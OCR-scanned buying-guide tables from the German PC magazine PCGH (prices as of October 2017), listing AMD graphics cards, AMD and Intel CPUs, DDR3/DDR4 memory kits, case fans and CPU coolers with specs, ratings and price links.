AMD Radeon ° Sen Е АЕ Е Е eme 
АМО RX Vega 64 LCE ** Є 750,- | 8.192 МІВ 1.520+/945 MHz 19/355/357 Ма 27,213,5 cm | 2x 8-Pol 0,3/1,8/1,9 Sone 2,04 12/2017 | www.pcgh.de/preis/1664784 
Asus RX Vega 64 Strix 086 € 750,- | 8.192 MiB 1.410+/945 MHz 12/313/318 Wa 30,0/4,7 cm | 2x 8-Pol 0,0/3,4/3,7 Sone 2,07 12/2017 | www.pcgh.de/preis/1664657 NEU 
AMD RX Vega 64 (Air) ** €610,- | 8.192 MiB 1.370+/945 MHz 15/289/290 Wa 26,7/3,5 cm | 2x 8-Pol 0,2/4,9/4,9 Sone 2,19 10/2017 | www.pcgh.de/preis/1664779 
AMD RX Vega 56 ** € 500,- | 8.192 MiB 1.250+/800 MHz 15/216/218 Wa 26,7/3,5 cm | 2x 8-Pol 0,2/4,9/4,9 Sone 2,33 10/2017 | www.pcgh.de/preis/1682126 
Sapphire RX 580 Nitro+ Limited Ed. 8.192 MiB 1.380+/4.000 MHz | 16/215/233 Wa 26,2/4,5 cm x 8-/1x 6-Pol | 0,0/1,5/1,7 Sone 2,56 07/2017 | www.pcgh.de/preis/1610153 
Powercolor RX 580 Red Devil GS € 350,- | 8.192 MiB 1.420+/4.000 MHz | 13/240/246 Wa 24,1/5,1 cm x 8-/1x 6-Pol | 0,0/1,9/2,5 Sone 2,56 07/2017 | www.pcgh.de/preis/1609947 
Gigabyte RX 580 Aorus XTR 8G € 350,- | 8.192 MiB 1.410+/4.000 MHz | 18/268/269 Wa 27,6/5,4 cm x 8-/1x 6-Pol | 0,0/2,1/2,1 Sone 2,57 07/2017 | www.pcgh.de/preis/1610162 
MSI RX 580 Gaming X 8G € 320,- | 8.192 MiB 1.320+/4.000 MHz | 16/205/210 Wa 27,5/3,5 cm x 8-Ро 0,0/2,0/2,3 Sone 2,59 07/2017 | www.pcgh.de/preis/1609960 
Asus RX 580 Strix TOP (T8G) € 410,- | 8.192 MiB 1.405+/4.000 MHz | 14/222/226 Wa 30,0/4,5 cm x 8-Po 0,0/3,5/3,5 Sone 2,59 07/2017 | www.pcgh.de/preis/1610032 
MSI RX 480 Gaming X 8G 8.192 MiB 1.303/4.000 MHz 18/209/225 Wa 27,5/3,5 cm x 8-Po 0,0/2,2/2,4 Sone 2,60 10/2016 Nicht lieferbar 
Sapphire RX 480 Nitro+ OC 8GB 8.192 MiB 1.300+/4.000 MHz | 14/215/230 Wa 24,0/3,5 cm x 8-Po 0,0/5,4/6,6 Sone 2,61 10/2016 Nicht lieferbar 
Sapphire RX 570 Nitro+ 8GD5 € 320,- | 8.192 MiB 1.320+/3.500 MHz | 15/202/221 Wa 26,0/3,8 cm x 8-/1x 6-Pol | 0,0/1,0/1,7 Sone 2,63 07/2017 | www.pcgh.de/preis/1610158 
Powercolor RX 480 Red Devil 8.192 MiB 1.190+/4.000 MHz | 18/199/200 Wa 30,0/3,5 cm x 8-Pol 0,0/2,3/2,3 Sone 2,64 10/2016 Nicht lieferbar 
Sapphire RX 480 Nitro-- 4D5 OC 4.096 MiB 1.306/3.500 MHz 14/207/220 Wa 24,0/3,5 cm x 8-Po 0,0/4,2/5,0 Sone 2,70 10/2016 Nicht lieferbar 
Sapphire RX 470 Nitro+ 4D5 OC 4.096 MiB 1.220+/3.500 MHz | 15/195/209 Wa 24,0/3,5 cm x 8-Po 0,0/2,5/2,7 Sone 2,73 01/2017 Nicht lieferbar 
Asus RX 580 Dual 04G € 300,- | 4.096 MiB 1.260+/3.500 MHz | 14/181/185 Wa 24,1/3,5 cm x 8-Po 0,0/4,1/4,1 Sone 2,75 07/2017 | www.pcgh.de/preis/1610054 
Powercolor RX 570 Red Devil € 260,- | 4.096 MiB 1.320/3.500 MHz 13/225/260 Wa 30,0/3,5 cm x 8-Po 0,0/2,7/5,2 Sone 2,78 07/2017 | www.pcgh.de/preis/1609990 
Powercolor RX 470 Red Devil 4.096 MiB 1.125+/3.500 MHz | 17/174/182 Wa 24,0/3,5 cm x 8-Ро! 0,0/4,6/4,7 Sone 2,84 01/2017 Nicht lieferbar 
Sapphire RX 570 Pulse ITX € 300,- | 4.096 MiB 1.130+/3.500 MHz | 13/144/147 Wa 17,0/3,5 cm x 6-Ро 0,0/0,9/1,2 Sone 2,84 07/2017 | www.pcgh.de/preis/1610160 
Asus RX 470 Strix OC 4.096 MiB 1.050+/3.300 MHz | 16/146/151 Wa 24,2/3,5 cm x 6-Po 0,0/3,2/3,6 Sone 2,85 01/2017 Nicht lieferbar 
Asus RX 460 Strix 04G € 140,- | 4.096 MiB 1.225+/3.500 MHz | 9/98/105 Watt 19,5/3,5 cm x 6-Po 0,0/1,6/1,6 Sone 3,14 01/2017 | www.pcgh.de/preis/1490013 


* Wegen des anhaltenden Mining-Booms sind viele Modelle nur zu stark überhöhten Preisen lieferbar ** Beliebige Rei 
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Einkaufsführer Prozessoren & RAM 


Preise: Stand 18.10.2017 


СЕС PREIS-LEISTUNGS-TIPP. 


[EL E] SPAR-TIPP 


Prozessoren (Auswahl bereits getesteter Modelle) 


AMD-Prozessoren | Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЭТ PCG svergleich 
AMD Ryzen TR 1950X | Са. € 945,- | 73,8 %/91,6 % | 52/335/286/255 16c/32t | - 3,4 GHz + Turbo |14пт | DDR4-2667 | TRA 1,94 10/2017 | www.pcgh.de/preis/1664849 
AMD Ryzen TR 1920X | Ca. € 765,- | 72,4 %/81,6 % | 52/326/279/246 12c/24t | - 3,5 GHz + Turbo | 14 пт | DDR4-2667 | TRA 2,08 10/2017 | www.pcgh.de/preis/1664904 
AMD Ryzen 7 1800X | Ca. € 425,- | 75,7 %/65,6 % | 28/326/264/182 8c/16t 3,6 GHz + Turbo |14пт | DDR4-2667 | АМА 2,10 | 05/2017 | www.pcgh.de/preis/1582191 
AMD Ryzen 7 1700X | Ca. €330,- | 72,9 %/62,3 % | 28/315/256/169 8c/16t 3,4 GHz + Turbo |14пт | DDR4-2667 | AMA 2,17 | 05/2017 | www.pcgh.de/preis/1582190 
AMD Ryzen TR 1900X | Ca. € 525,- | 73,4 %/67,8 % | 51/344/289/238 8c/16t 3,8 GHz + Turbo |14пт | DDR4-2667 | TRA 2,24 11/2017 | www.pcgh.de/preis/1681714 
AMD Ryzen 7 1700 | Ca. €290,- | 69,9 %/58,0 % | 28/296/244/157 8c/16t 3,0 GHz + Turbo | 14 пт | DDR4-2667 | AMA 2,25 | 05/2017 | www.pcgh.de/preis/1582201 
AMD Ryzen 5 1600X | Ca. €220,- |74,2 %/54,3 % | 28/317/261/166 6121 | - 3,6 GHz + Turbo | 14 пт |DDR4-2667 | AM4 2,25 | 06/2017 | www.pcgh.de/preis/1604881 
AMD Ryzen 5 1500X | Ca. € 170,- | 66,8 %/40,5 % | 28/275/244/137 4с/8ї 3,5 GHz + Turbo | 14 пт |DDR4-2667 | AM4 2,35 | 06/2017 | www.pcgh.de/preis/1604878 
ТТТ) AMD Ryzen 5 1600 | Са. є 200,- | 70,7 %/50,8 % | 30/303/252/149 6c/12t 3,2 GHz + Turbo | 14 пт |DDR4-2667 | AM4 2,54 | 07/2017 | www.pcgh.de/preis/1604879 
AMD Ryzen 5 1400 | Ca. € 150,- | 58,7 %/35,3 % | 29/258/232/126 4с/8ї 3,2 GHz + Turbo | 14 пт |DDR4-2667 | AM4 2,75 | 07/2017 | www.pcgh.de/preis/1604876 
AMD Ryzen 3 1300X | Са. € 120,- | 55,0 %/30,6 % | 29/246/231/132 4cl4t 3,4 GHz + Turbo | 14 пт | DDR4-2667 | AM4 2,90 10/2017 | www.pcgh.de/preis/1663154 
AMD Ryzen 3 1200 | Са. Є 100,- | 49,6 %/27,0 % | 29/230/218/117 40/41 |- 3,1 GHz + Тиро | 14 пт | DDR4-2667 | AMA 3,02 10/2017 | www.pcgh.de/preis/1663145 
AMD FX-9590 Са. Є 135,- | 56,0 %/36,7 % | 40/441/383/309 4m/8t |- 4,7 GHz + Тиро | 32nm | DDR3-1866 | AM3+ 3,13 | 03/2016 | www.pcgh.de/preis/973468 
Intel-Prozessoren Preis Leistung* Stromverbrauch** | Kerne | Grafik Basis-Takt Prozess | RAM (max.) | Sockel ЭТ PCGH-Preisvergleich 
. NEU, ntel Core i9-7960X | Ca. € 1.575,- | 92,3 %/99,6 % | 34/396/309/254 16d32t | - 2,8 GHz + Tubo | 14 nm | DDR4-2667 | 2066 1,50 12/2017 | www.pcgh.de/preis/1638801 
NEU Intel Core i9-7980XE | Ca. € 1.900,- | 87,8 90/100 % | 34/373/296/248 180361 | - 2,6 GHz + Tubo | 14 nm | DDR4-2667 | 2066 1,56 12/2017 | www.pcgh.de/preis/1638806 
NEU Intel Core i7-8700K | Ca. € 400,- 100 %/66,3 % | 19/392/284/181 6c/12t | UHD 630 3,7 GHz + Turbo | 14 пт | DDR4-2667 | 1151 v2 | 1,59 12/2017 | www.pcgh.de/preis/1685281 
ntel Core i9-7900X | Ca. €915,- | 91,6 %/86,1 9o | 31/396/294/231 10c/20t | - 3,3 GHz + Turbo | 14 nm | DDR4-2667 |2066 1,64 | 08/2017 | www.pcgh.de/preis/1632795 
ntel Core i7-7820X | Ca. € 550,- | 89,0 %/77,8 % | 31/378/292/201 8c/16t |- 3,6 GHz + Turbo |14пт | DDR4-2667 |2066 1,77 | 09/2017 | www.pcgh.de/preis/1632796 
УМЕО? intel Core i5-8600K | Са. Є 290,- | 94,6 %/53,2 % | 19/325/267/158 6с/6 ОНО 630 3,6 GHz + Turbo | 14 пт |DDR4-26667 | 1151 v2 | 1,81 12/2017 | www.pcgh.de/preis/1697344 
ntel Core i7-7740X | Ca. € 295,- | 98,1 %/52,5 % | 18/315/269/148 4d8t |- 4,3 GHz + Turbo |14пт |DDR4-2667 |2066 1,84 | 08/2017 | www.pcgh.de/preis/1632798 
ntel Core i7-7700K | Ca. €310,- | 92,5 %/50,8 % | 19/320/273/145 4d8 HD 630 4,2 GHz + Tubo | 14 пт |DDR4-2400 |1151 1,87 | 02/2017 | www.pcgh.de/preis/1551097 
ntel Core i7-6900K | Ca. € 885,- | 91,3 %/70,7 % | 50/349/291/186 8d16 3,2 GHz + Turbo | 14 пт | 0084-2400 | 2011-3 1,99 | 07/2016 | www.pcgh.de/preis/1394462 
ntel Core i7-6700K Са. € 300,- | 86,1 %/47,2 % | 21/302/256/126 4d8 HD 530 4,0 GHz + Tubo | 14 пт | DDR4-2133 | 1151 2,01 03/2016 | www.pcgh.de/preis/1290371 
ntel Core i7-7800X | Ca. Є 350,- | 84,2 %/61,1 % | 31/345/280/177 6c/12t |- 3,5 GHz + Turbo |14пт | DDR4-2400 |2066 2,04 | 09/2017 | www.pcgh.de/preis/1632797 
) lñríkunre 2 ntel Core i5-8400 Ca. € 200,- | 91,6 %/49,9 % | 19/294/255/135 6/6 UHD 630 2,8 GHz + Turbo | 14 пт |DDR4-2667 | 11512 | 2,12 12/2017 | www.pcgh.de/preis/1699930 
ntel Core i7-6800K Са. Є 315,- | 84,2 %/55,1 % | 49/344/282/170 6c/12t |- 3,4 GHz + Turbo |14пт | DDR4-2400 | 2011-3 2,30 | 08/2016 | www.pcgh.de/preis/1394467 
. NEU, ntel Core i3-8350K Ca. € 180,- | 76,7 %/38,5 % | 19/265/246/130 4/4 ОНО 630 4,0 GHz 14 пт | DDR4-2400 | 115102 | 2,31 12/2017 | www.pcgh.de/preis/1697354 
ntel Core 17-4790К | Ca. € 335,- | 76,9 %/45,0 % | 18/320/261/134 4d8 HD 4600 4,0 GHz + Turbo |22nm | DDR3-1600 | 1150 2,35 | 03/2016 | www.pcgh.de/preis/1119923 
ntel Core i7-5820K | Ca. €380,- | 81,3 %/51,7 % | 46/340/278/176 6d12 3,3 GHz + Тиро | 22nm | DDR4-2133 | 2011-3 2,37 | 03/2016 | www.pcgh.de/preis/1121100 
ntel Core i5-7600K | Ca. Є 215,- | 72,3 %/37,9 % | 19/262/236/112 4/4 НО 630 3,8 GHz +Turbo | 14 пт | DDR4-2400 | 1151 2,36 | 02/2017 | www.pcgh.de/preis/1551201 
ntel Core i5-6600K | Са. € 210,- | 63,1 %/34,6 % | 22/245/225/109 4/4 НО 530 3,5 GHz + Tubo | 14 пт |DDR4-2133 | 1151 2,58 | 03/2016 | www.pcgh.de/preis/1290376 
ntel Core i5-7500 Ca. € 180,- |67,9 %/34,5 % | 18/242/224/99 4/4 НО 630 3,4 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,69 | 04/2017 | www.pcgh.de/preis/1554205 
ntel Core i3-7350K | Ca. € 145,- |61,7 %/26,9 % | 19/230/218/108 2d4 HD 630 4,2 GHz 14nm | DDR4-2400 | 1151 2,70 | 03/2017 | www.pcgh.de/preis/1557508 
ntel Core i5-4690K | Са. € 225,- | 61,4 %/32,7 % | 18/256/229/123 4c/4 HD 4600 3,5 GHz + Turbo |22nm | DDR3-1600 | 1150 2,78 -*** | www.pcgh.de/preis/1119925 
ntel Core i5-7400 Ca. € 160,- | 63,7 %/32,1 % | 18/232/216/94 4/4 HD 630 3,0 GHz + Turbo | 14 пт | DDR4-2400 | 1151 2,79 | 04/2017 | www.pcgh.de/preis/1553204 
* Normierte, gewichtete Leistung in Spielen/Anwendungen ** Gesamtes System in Watt (Leerlauf ohne Grafikkarte/Crysis 3/0 Spiele/@ Anwendungen) *** Nachgetestet ohne Heftartikel 
DDR3 Produktnummer Preis Speichertyp Latenzen Aufbau*** | Höhe | Spannung MEET PCGH-Preisvergleich 
G.Skill Trident X F3-1600C7D-16GTX Ca. € 150,- | 2x 8 GiByte DDR3-1600 | 7-8-8-24 Dual-Rank | 5,4 cm | 1,65 Vol 2,39 | 06/2015 | www.pcgh.de/preis/855480 
Kingston Hyper X Savage HX321C11SRK2/16 Са. € 160,- | 2 x 8 GiByte DDR3-2133 | 11-12-12-30 | Dual-Rank | 3,4 cm | 1,60 Vo 2,47 | 06/2015 | www.pcgh.de/preis/1160242 
Yin T Ballistix Tactical BLT2CP8G3D1869DT1TXOEU Са. € 130,- | 2 x 8 GiByte DDR3-1866 | 9-9-9-27 Dual-Rank | 3,6 cm | 1,50 Vol 2,52 | 08/2014 | www.pcgh.de/preis/1037301 
G.Skill Trident X F3-2400C10D-16GTX Са. € 170,- | 2 x 8 GiByte DDR3-2400 | 10-12-12-31 | Dual Rank | 5,4 cm | 1,65 Vo 2,54 | 09/2013 | www.pcgh.de/preis/764621 
G.Skill Ares F3-1866C10D-16GAB Са. € 140,- | 2 x 8 GiByte DDR3-1866 | 10-11-10-30 | Dual Rank | 3,3 cm | 1,50 Vo 2,58 | 06/2015 | www.pcgh.de/preis/734632 
DDR4 Produktnummer Preis Speichertyp Latenzen Aufbau*** | Höhe |Spannung MEET PCGH-Preisvergleich 
G.Skill Trident Z F4-3600C16D-16GTZKW Ca. € 220,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,4 cm | 1,35 Vo 1,72 07/2017 | www.pcgh.de/preis/1505578 
Teamgroup T-Force Xtreem | TXGD416G4000HC18EDCO1 Са. € 230,- | 2 x 8 GiByte DDRA-4000 | 18-20-20-44 | Single-Rank | 4,8 cm | 1,35 Vo 1,76 | 07/2017 | www.pcgh.de/preis/1593250* 
Patriot Viper PV416G360C6K Ca. € 200,- | 2 x 8 GiByte DDR4-3600 | 16-16-16-36 | Single-Rank | 4,1 cm | 1,35 Vo 1,80 07/2017 | www.pcgh.de/preis/1539744 
Corsair Vengeance LPX CMK32GX4M4B3600C18 Ca. € 410,- | 4 x 8 GiByte DDRA-3600 | 18-19-19-39 | Single-Rank | 3,5 cm | 1,35 Vo 1,89 2/2016 | www.pcgh.de/preis/1379074 
G.Skill Flare X F4-3200C14D-16GFX Са. € 200,- | 2 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,0 cm | 1,35 Vo 1,93 | 07/2017 | www.pcgh.de/preis/1590064 
G.Skill Trident Z F4-3200C14Q-32GTZKW Са. € 420,- | 4 x 8 GiByte DDR4-3200 | 14-14-14-34 | Single-Rank | 4,4 cm | 1,35 Vo 2,06 2/2016 | www.pcgh.de/preis/1383384* * 
Corsair Vengeance LED CMU32GX4M4C3200C16R Са. € 400,- | 4 x 8 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,10 2/2016 | www.pcgh.de/preis/1468728 
G.Skill Trident Z RGB F4-3200C16Q-32GTZR Са. € 390,- | 4 x 8 GiByte DDR4-3200 | 16-18-18-38 | Single-Rank | 4,4 cm | 1,35 Vo 2,14 | 07/2017 | www.pcgh.de/preis/1564347 
Ballistix Elite BLE4CAG4D32AEEA Са. € 200,- | 4 x 4 GiByte DDR4-3200 | 16-18-18-36 | Single-Rank | 4,1 cm | 1,35 Vo 2,23 2/2016 | www.pcgh.de/preis/1464325 
ТЇЗ Ballistix Tactical BLT2C8G4D30AETA Са. € 170,- | 2 x 8 GiByte DDR4-3000 | 15-16-16-35 | Dual-Rank | 3,8 cm | 1,35 Vo 2,29 | 07/2017 | www.pcgh.de/preis/1464309 
Corsair Vengeance LED CMU32GX4M2C3200C16B Са. € 390,- | 2 х 16 GiByte DDR4-3200 | 16-18-18-36 | Dual-Rank | 5,0 cm | 1,35 Vo 2,33 2/2016 | www.pcgh.de/preis/1512560 
System DDR3: Core i7-4770K, Asus Maximus VI Extreme, Zotac Geforce GT 640; Windows 7 64 Вії SP1, НСІ Memtest Pro *** Aufbau von den meisten Herstellern nicht garantiert, ggf. Abweichungen möglich 
System DDR4: Core i5-6600K/i7-6700K, Asus Maximus VIII Extreme/Ranger bzw. Maximus IX Code, MSI Geforce GTX 980 Ti Lightning; Windows 10 64 Bit, НСІ Memtest Pro * Silberne Version ** Silber-rote Version 
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Einkaufsführer Kühlung 


Preise: Stand 18.10.2017 


WELT ERPREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


120-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 

Noctua NF-F12 PWM Ca. € 18,- | 4-Pin PWM/53 cm Spannungs-Adapter | 1.500 U/min 10,2/13,4/18,6 Kelvin | 1,9/0,4/0,1 Sone 2,25 12/2016 | www.pcgh.de/preis/698532 

Blacknoise Eloop B12-PS Ca. € 18,- | 4-Pin PWM/75 cm - 1.500 U/min 10,9/14,1/19,0 Kelvin | 0,8/0,2/0,1 Sone 2,47 12/2016 | www.pcgh.de/preis/820091 

Scythe Glide Stream 120 PWM Ca. € 10,- | 4-Pin PWM/50 cm - 1.300 U/min 10,3/12,2/17,5 Kelvin | 1,5/0,6/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/837136 qumTH 
Be Quiet Silent Wings 3 PWM Ca. € 17,- | 4-Pin PWM**/50 cm - 1.450 U/min 11,7/14,4/20,7 Kelvin | 0,8/0,2/0,1 Sone 2,50 12/2016 | www.pcgh.de/preis/1490397 

Blacknoise Multiframe M12-2 Ca. € 20,- | 3-Pin/44 cm - 1.250 U/min 12,7/16,1/21,5 Kelvin | 0,6/0,2/0,1 Sone | 2,62 12/2016 | www.pcgh.de/preis/342339 

Arctic F12 PWM Са. Є 5,- | 4-Pin PWM**/39 cm - 1.350 U/min 10,0/12,9/18,2 Kelvin | 1,6/0,5/0,1 Sone | 2,63 12/2016 | www.pcgh.de/preis/458676 
Blacknoise Black Silent Pro PL-2 Ca. € 13,- | 3-Pin/75 cm - 1.400 U/min 12,3/15,4/20,5 Kelvin | 1,1/0,4/0,1 Sone | 2,65 12/2016 | www.pcgh.de/preis/476778 

Be Quiet Silent Wings 2 PWM Ca. € 27,- | 4-Pin PWM/44 cm - 1.500 U/min 12,2/15,2/20,8 Kelvin | 1,0/0,3/0,1 Sone 2,65 12/2016 | www.pcgh.de/preis/877395 

Be Quiet Shadow Wings SW1 Ca. € 12,- | 3-Pin/45 cm - 2.200 U/min 8,9/11,2/15,6 Kelvin | 2,8/1,0/0,2 Sone | 2,76 12/2016 | www.pcgh.de/preis/684033 

Cooler Master Silencio FP 120 PWM | Ca. € 10,- | 4-Pin PWM/44 cm _ 1.400 U/min 13,1/16,9/23,1 Kelvin | 0,7/0,4/0,1 Sone | 2,78 12/2016 | www.pcgh.de/preis/1227673 

Fractal Design Dynamic X2 GP-12 Ca. € 14,- | 3-Pin/51 cm _ 1.200 U/min 12,2/15,8/21,3 Kelvin | 0,8/0,2/0,1 Sone 2,81 12/2016 | www.pcgh.de/preis/1497617 
140-mm-Lüfter Preis Anschluss/Kabellänge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 
Blacknoise Eloop B14-PS Ca. € 24,- | 4-Pin PWM/75 cm - 1.200 U/min 8,8/11,0/15,2 Kelvin | 1,2/0,3/0,1 Sone | 2,03 01/2016 | www.pcgh.de/preis/1313838 
Thermaltake Riing 14 RGB Ca. € 26,- | 4-Pin PWM/45 cm 2-stufig 1.400 U/min 9,1/11,3/16,9 Kelvin | 1,6/0,7/0,1 Sone | 2,27 01/2016 | www.pcgh.de/preis/1348647 

Noctua NF-A14 FLX Ca. € 21,- | 3-Pin/53 cm 2 Spannungs-Adap. | 1.200 U/min 9,5/12,0/16,9 Kelvin | 1,2/0,4/0,1 бопе 2:27 01/2016 | www.pcgh.de/preis/870798 

Aerocool Dead Sil. White Ed.140mm | Ca. € 19,- | 3-Pin/50 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/18,3 Kelvin | 0,7/0,3/0,1 Sone | 2,33 01/2016 | www.pcgh.de/preis/1058907 

Blacknoise Black Silent Pro PK-2 Ca. € 16,- | 3-Pin/75 cm - 1.200 U/min 10,2/12,8/18,1 Kelvin | 1,2/0,5/0,1 Sone | 2,39 01/2016 | www.pcgh.de/preis/476867 

Fractal Design Venturi HP-14 PWM Ca. € 19,- | 4-Pin PWM/50 cm - 1.500 U/min 9,6/11,7/18,2 Kelvin | 1,6/0,6/0,1 Sone 2,41 01/2016 | www.pcgh.de/preis/1266895 

Enermax T.B.Silence PWM 140mm Ca. € 12,- | 4-Pin PWM/49 cm - 1.200 U/min 9,2/11,8/16,0 Kelvin | 1,7/0,6/0,1 Sone 2,42 01/2016 | www.pcgh.de/preis/886129 {ТҮҢ 
Silverstone SST-FQ141 Ca. € 20,- | 4-Pin PWM/29 cm Spannungs-Adapter | 1.000 U/min 10,3/12,9/17,6 Kelvin | 1,1/0,4/0,1 Sone | 2,42 01/2016 | www.pcgh.de/preis/1170330 

Be Quiet Silent Wings 2 PWM Ca. € 30,- | 4-Pin PWM/45 cm - 1.000 U/min 11,4/15,3/21,0 Kelvin | 0,5/0,1/0,1 Sone | 2,44 01/2016 | www.pcgh.de/preis/877396 

Phanteks PH-F140SP N. verfüg. | 3-Pin/92 cm - 1.200 U/min 8,9/11,5/16,2 Kelvin | 1,7/0,5/0,1 Sone | 2,45 01/2016 | www.pcgh.de/preis/1112616 

Nanoxia Cool Force Ca.€7,- | 3-Pin/43 cm Vorwiderstand 1.100 U/min 12,2/14,6/20,3 Kelvin | 0,4/0,2/0,1 Sone 2,47 01/2016 www.pcgh.de/preis/1395404 ТҮТИ 
Enermax Cluster Advance Ca. € 13,- | 4-Pin PWM/49 cm 3-stufig an Lüfternabe | 1.500 U/min 8,4/10,1/14,8 Kelvin | 2,8/1,4/0,3 Sone | 2,65 01/2016 | www.pcgh.de/preis/1186749 

Akasa 14cm Apache Black Са. € 17,- | 4-Pin PWM/40 cm - 1.300 U/min 8,1/10,2/14,0 Kelvin | 2,8/1,1/0,3 Sone | 2,72 01/2016 | www.pcgh.de/preis/681031 

Noctua NF-A14 Industr.-PPC-2000 PWM | Ca. € 22,- | 4-Pin PWM/40 cm _ 2.000 U/min 6,9/8,1/11,8 Kelvin 3,8/1,9/0,5 Sone 2,75 01/2016 | www.pcgh.de/preis/1115473 

Be quiet Pure Wings 2 140mm Ca.€9,- |3-Pin/45 cm - 1.000 U/min 11,8/15,6/21,1 Kelvin | 0,6/0,2/0,1 Sone | 2,88 01/2016 | www.pcgh.de/preis/994425 
180-mm-Lüfter Preis Anschluss/Kabellánge | Regelung Drehzahl 100 % | Kühlleistung* Lautheit* | Wertung | Test in 

Phobya G-Silent 18 rot Ca. € 20,- | 3-Pin/50 cm - 700 U/min 7,319,0/12,6 Kelvin 0,6/0,2/0,1 Sone 172 04/2015 | www.pcgh.de/preis/955636 
* Auf Alphacool Nexxxos XT45 120/140/180 mm Radiator, Differenztemperatur Wasser/Luft; Wärmequelle: Xeon E5-2687W (150 W TDP); Messung bei 100/75/50 % Lüfterdrehzahl ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung ggf. zusätzliche Störgeräusche 


Prozessorkühler 


Modell Preis Maße (B x H x T) Gewicht CPU-Temp. 1,0 Sone | CPU-Temp. (100/75/50 %) | Lautheit (100/75/50 %) | Wertung | Test їп 
EKL Alpenföhn Brocken 3 Ca. € 42,- 50 x 171 х 126 mm; 870g 52,5 *C (1.020 U/min) 52,5/54,6/61,1 °C 1,0/0,3/0,1 Sone 2,05 10/2017 | www.pcgh.de/preis/1675194 
Noctua NH-D15 Са. € 85,- 51 x 175 x 162 mm; 1312 g 50,8 °С (1.020 U/min) 48,1/49,9/54,5 *C 3,0/1,2/0,2 Sone 2,08 09/2015 | www.pcgh.de/preis/1098241 
Thermaltake Frio Extr. Silent 14 Dual | Ca. € 75,- 57 x 166 x 146 mm; 1235 g 50,3 °C (1.000 U/min) 49,6/52,1/61,2 °C 1,6/0,6/0,1 Sone 2/11 09/2015 | www.pcgh.de/preis/1196525 
Scythe Mugen 5 Ca. € 44,- 38 x 150 x 109 mm; 885 g Nicht mögl. (max. 0,9 Sone) | 52,1/53,6/59,4 °C 0,9/0,3/0,1 Sone 2,14 01/2017 | www.pcgh.de/preis/1549393 
Scythe Fuma Са. € 43,- 38 х 149 х 131 mm; 9239 52,0 °С (900 U/min) 48,5/50,8/56,2 °С 2,9/1,3/0,4 Ѕопе 2,16 05/2016 | www.pcgh.de/preis/1339886 
Noctua NH-U14S Ca. € 70,- 52 x 166 x 80 mm; 938 g 51,4 *C (1.140 U/min) 49,7/52,1/58,7 °C 1,8/1,1/0,3 Sone 2,16 12/2014 | www.pcgh.de/preis/929404 
EKL Alpenföhn Olymp Ca. € 60,- 55 x 161 x 151 mm; 1.187 g | 52,8 °C (1.020 U/min) 50,8/53,5/61,5 °C 2,0/0,9/0,1 Sone 2,18 05/2016 | www.pcgh.de/preis/1386052 
hermalright Le Grand Macho RT Ca. € 60,- 50 х 162 х 148 mm; 1.111g | Nicht mögl. (max. 0,9 Sone) | 50,1/52,8/59,1 °C 0,9/0,3/0,1 Sone 2,23 01/2017 | www.pcgh.de/preis/1442034 
hermalright Macho Rev. B Са. € 45,- 42 x 173 х 129 mm; 877 g 52,2 *C (1.190 U/min) 51,2/54,7/62,9 °C 1,2/0,5/0,2 Sone 2,25 02/2015 | www.pcgh.de/preis/1193857 
Scythe Ninja 4 Ca. € 37,- 32 х 155 х 155 mm; 905 g 52,4 °C (1.170 U/min) 50,6/53,2/60,3 °C 2,1/0,7/0,2 Sone 2,25 09/2015 | www.pcgh.de/preis/1267181 
hermalright Macho Direct N. verfüg. 52 x 162 x 128 mm; 823 g 52,1 *C (1.190 U/min) 52,1/54,8/61,3 °C 1,0/0,3/0,1 Sone** 2,26 04/2016 | www.pcgh.de/preis/1372274 
Be Quiet Dark Rock Pro 3 Са. € 70,- 41 x 164 x 150 mm; 1244 g 51,6 °С (1.340 U/min) 50,3/52,1/55,6 *C 2,1/0,9/0,3 Sone 2,32 09/2015 | www.pcgh.de/preis/1054341 
hermalright True Spirit 140 Direct Ca. € 38,- 52 x 165 x 71 mm; 658 g Nicht mögl. (max. 0,8 Sone) | 50,8/54,2/60,7 °C 0,8/0,2/0,1 Sone 2,33 01/2017 | www.pcgh.de/preis/1529573 
EKL Alpenföhn Brocken 2 Ca. € 40,- 53 x 173 x 98 mm; 840 g Nicht mögl. (max. 0,8 Sone) | 53,8/57,7/64,6 °C 0,8/0,2/0,1 Sone 2,38 09/2015 | www.pcgh.de/preis/912549 
hermaltake Frio Silent 14 Ca. € 39,- 50 x 165 x 68 mm; 633 g 54 *C (1.060 U/min) 52,2/55,4/63,9 °C 1,2/0,3/0,1 Sone 2,48 12/2014 | www.pcgh.de/preis/1157899 
Cooler Master Hyper 612 Ver.2 Ca. € 36,- 51 x 162 x 131 mm; 945 g Nicht mögl. (max. 0,9 Sone) | 54,9/58,2/-* °C 0,9/0,3/-* Sone 2,50 12/2014 | www.pcgh.de/preis/1172666 
EKL Alpenfóhn Brocken Eco Ca. € 29,- 31 x 151 x 88 mm; 612g 55.9 *C (1.240 U/min) 53,7/57,4/64,2 °C 1,4/0,5/0,1 Sone 2,55 12/2014 | www.pcgh.de/preis/1081623 
Noctua МН-0155 Ca. € 80,- 49 x 163 x 134 mm; 1.153 g | 53,2 °C (1.080 U/min) 50,3/53,2/60,3 °C 2,3/1,0/0,3 Sone 2,57 05/2016 | www.pcgh.de/preis/1271076 
Be Quiet Pure Rock Ca. € 30,- 30 x 155 x 89 mm; 629 g 56,2 °C (1.370 U/min) 55,5/58,1/68,0 °C 1,5/0,5/0,1 Sone 2,62 01/2017 | www.pcgh.de/preis/1184606 
Cooler Master Hyper 4125 Ca. € 29,- 32 x 162 x 97 mm; 580 g Nicht mögl. (max. 0,8 Sone) | 56,7/59,1/67,2 °C 0,8/0,3/0,1 Sone 2,62 09/2015 | www.pcgh.de/preis/697260 
